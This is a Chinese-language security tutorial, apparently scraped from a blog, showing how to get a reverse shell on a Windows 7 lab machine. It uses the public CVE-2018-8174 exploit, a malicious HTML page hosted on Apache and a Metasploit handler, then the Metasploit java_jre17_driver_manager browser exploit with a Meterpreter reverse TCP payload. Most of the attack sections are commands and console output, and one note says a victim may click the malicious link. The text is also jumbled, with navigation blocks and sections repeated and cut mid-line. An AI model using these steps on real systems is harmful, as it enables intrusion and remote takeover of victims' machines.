我们可以自己指定一个
发布时间：2025-06-24 18:02:54 作者：北方职教升学中心 阅读量：952
回到 MSF 控制台
Session 已经建立然后可以发现我们是Administrator了
msf6 exploit(multi/browser/java_jre17_driver_manager) > sessions -i 6meterpreter > getuidServer username: Administrator
欢迎各位彦祖与热巴畅游本人专栏与博客
你的三连是我最大的动力
以下图片仅代表专栏特色 [点击箭头指向的专栏名即可闪现]
专栏跑道一
➡️网络空间安全——全栈前沿技术持续深入学习
专栏跑道二
➡️ 24 Network Security -LJS
专栏跑道三
➡️ MYSQL REDIS Advance operation
专栏跑道四
➡️HCIP；H3C-SE;CCIP——LJS[华为、思科高级网络]
专栏跑道五
➡️RHCE-LJS[Linux高端骚操作实战篇]
专栏跑道六
➡️数据结构与算法[考研+实际工作应用+C程序设计]
专栏跑道七
➡️RHCSA-LJS[Linux初级及进阶骚技能]
上节回顾
目录
欢迎各位彦祖与热巴畅游本人专栏与博客
你的三连是我最大的动力
以下图片仅代表专栏特色 [点击箭头指向的专栏名即可闪现]
专栏跑道一
➡️网络空间安全——全栈前沿技术持续深入学习
专栏跑道二
➡️ 24 Network Security -LJS
专栏跑道三
➡️ MYSQL REDIS Advance operation
专栏跑道四
➡️HCIP；H3C-SE;CCIP——LJS[华为、
msf6 exploit(multi/browser/java_jre17_driver_manager) > show payloads Compatible Payloads=================== # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 payload/cmd/unix/bind_aws_instance_connect normal No Unix SSH Shell, Bind Instance Connect (via AWS API) 1 payload/generic/custom normal No Custom Payload 2 payload/generic/shell_bind_aws_ssm normal No Command Shell, Bind SSM (via AWS API) 3 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline 4 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline 5 payload/generic/ssh/interact normal No Interact with Established SSH Connection 6 payload/java/jsp_shell_bind_tcp normal No Java JSP Command Shell, Bind TCP Inline 7 payload/java/jsp_shell_reverse_tcp normal No Java JSP Command Shell, Reverse TCP Inline 8 payload/java/meterpreter/bind_tcp normal No Java Meterpreter, Java Bind TCP Stager 9 payload/java/meterpreter/reverse_http normal No Java Meterpreter, Java Reverse HTTP Stager 10 payload/java/meterpreter/reverse_https normal No Java Meterpreter, Java Reverse HTTPS Stager 11 payload/java/meterpreter/reverse_tcp normal No Java Meterpreter, Java Reverse TCP Stager 12 payload/java/shell/bind_tcp normal No Command Shell, Java Bind TCP Stager 13 payload/java/shell/reverse_tcp normal No Command Shell, Java Reverse TCP Stager 14 payload/java/shell_reverse_tcp normal No Java Command Shell, Reverse TCP Inline 15 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures) 16 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
msf6 exploit(multi/browser/java_jre17_driver_manager) > java/meterpreter/reverse_tcpInterrupt: use the 'exit' command to quitmsf6 exploit(multi/browser/java_jre17_driver_manager) > set paylod java/meterpreter/reverse_tcp[!] Unknown datastore option: paylod. Did you mean PAYLOAD?paylod => java/meterpreter/reverse_tcpmsf6 exploit(multi/browser/java_jre17_driver_manager) > set payload java/meterpreter/reverse_tcppayload => java/meterpreter/reverse_tcpmsf6 exploit(multi/browser/java_jre17_driver_manager) > set LHOST 192.168.1.53LHOST => 192.168.1.53msf6 exploit(multi/browser/java_jre17_driver_manager) > jobs -KStopping all jobs...msf6 exploit(multi/browser/java_jre17_driver_manager) > run
补充说明：
- 如果出现如下这个错误提示，说明 4444 端口被占用
┌──(root㉿kali-2024)-[/home/ljs/Desktop]└─# lsof -i:4444 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAMEruby 179670 root 8u IPv4 425867 0t0 TCP *:4444 (LISTEN) 
将该进程杀死
┌──(root㉿kali-2024)-[/home/ljs/Desktop]└─# kill -9 179670
在 win7 上安装 java 环境
- win7 主机访问http://192.168.1.53:8080/bUry5GxBnxluT
- win7需要配置远程连接端口为4444
- 提示我们 java 版本需要更新我们点击 later 先不更新
- 然后突然发现运行了一个 java 程序,但是用户关闭了 java 程序也不影响我们 session 的正常访问。华三、思科高级网络]
专栏跑道五
➡️RHCE-LJS[Linux高端骚操作实战篇]编辑
专栏跑道六
➡️数据结构与算法[考研+实际工作应用+C程序设计]
专栏跑道七
➡️RHCSA-LJS[Linux初级及进阶骚技能]
上节回顾
1.利用 已知漏洞 CVE-2018-8174 获取 shell
1.2安装 CVE-2018-8174_EXP
1.3生成恶意 html 文件
将恶意 html 文件移动到网站根目录
启动 apache2 服务
新打开一个终端 CTRL+SHIFT+T，生成 MSF 监听
进入 win7靶机，打开浏览器，访问[也有可能是受害者点击恶意链接]恶意链接http://192.168.234.141/exploit.html编辑
返回 kali 查看已经建立会话，攻击获取shell成功
2.基于 java 环境的漏洞利用获取 shell
2.1搭建 java 环境
第一步我们先安装 java 环境上传 jre 到 win7 或 xp 操作系统
2.2使用 java 模块 getshell
注意：
补充说明：
将该进程杀死
在 win7 上安装 java 环境
回到 MSF 控制台
Session 已经建立然后可以发现我们是Administrator了
1.利用 已知漏洞 CVE-2018-8174 获取 shell
1.2安装 CVE-2018-8174_EXP
git clone https://github.com/iBearcat/CVE-2018-8174_EXP.git┌──(root㉿kali-2024)-[/home/ljs/Desktop]└─# unzip CVE-2018-8174_EXP-master.zipArchive: CVE-2018-8174_EXP-master.zipd055e4d56920f10303f9a8879c8eb47e22abb01d creating: CVE-2018-8174_EXP-master/ inflating: CVE-2018-8174_EXP-master/CVE-2018-8174.py inflating: CVE-2018-8174_EXP-master/README.md 1.3生成恶意 html 文件
┌──(root㉿kali-2024)-[/home/ljs/Desktop/CVE-2018-8174_EXP-master]└─# lsCVE-2018-8174.py README.md┌──(root㉿kali-2024)-[/home/ljs/Desktop/CVE-2018-8174_EXP-master]└─# python2 CVE-2018-8174.py -u http://192.168.234.141/exploit.html -o hack.rtf -i 192.168.234.141 -p 4444UNICODE_URL len 138 , need to pad ...Generated hack.rtf successfully!!! Completed !!!参数详解说明：
- -u：URL 地址，恶意 html 文件 hack.html 的访问地址
- -o：生成文档
- -i：监听地址
- -p：监听端口
将恶意 html 文件移动到网站根目录
┌──(root㉿kali-2024)-[/home/ljs/Desktop/CVE-2018-8174_EXP-master]└─# cp exploit.html /var/www/html/ 启动 apache2 服务
┌──(root㉿kali-2024)-[/home/ljs/Desktop/CVE-2018-8174_EXP-master]└─# service apache2 start 
新打开一个终端 CTRL+SHIFT+T，生成 MSF 监听
msf6 exploit(multi/handler) > backmsf6 > use exploit/multi/handler[*] Using configured payload generic/shell_reverse_tcpmsf6 exploit(multi/handler) > set payload windows/shell/reverse_tcppayload => windows/shell/reverse_tcpmsf6 exploit(multi/handler) > set LHOST 192.168.234.141LHOST => 192.168.234.141msf6 exploit(multi/handler) > exploit进入 win7靶机，打开浏览器，访问[也有可能是受害者点击恶意链接]恶意链接
http://192.168.234.141/exploit.html
返回 kali 查看已经建立会话，攻击获取shell成功
2.基于 java 环境的漏洞利用获取 shell
2.1搭建 java 环境
第一步我们先安装 java 环境上传 jre 到 win7 或 xp 操作系统
安装过程，一直点击下一步即可
2.2使用 java 模块 getshell
msf6 exploit(multi/handler) > use exploit/multi/browser/java_jre17_driver_manager[*] No payload configured, defaulting to java/meterpreter/reverse_tcpmsf6 exploit(multi/browser/java_jre17_driver_manager) > show optionsModule options (exploit/multi/browser/java_jre17_driver_manager): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This m ust be an address on the local machine or 0.0.0.0 to lis ten on all addresses. SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly ge nerated) URIPATH no The URI to use for this exploit (default is random)Payload options (java/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.79.135 yes The listen address (an interface may be specified) LPORT 4444 yes The listen portExploit target: Id Name -- ---- 0 Generic (Java Payload)View the full module info with the info, or info -d command.
注意：
- 上图 target 是一个通用的 java payload。华三、
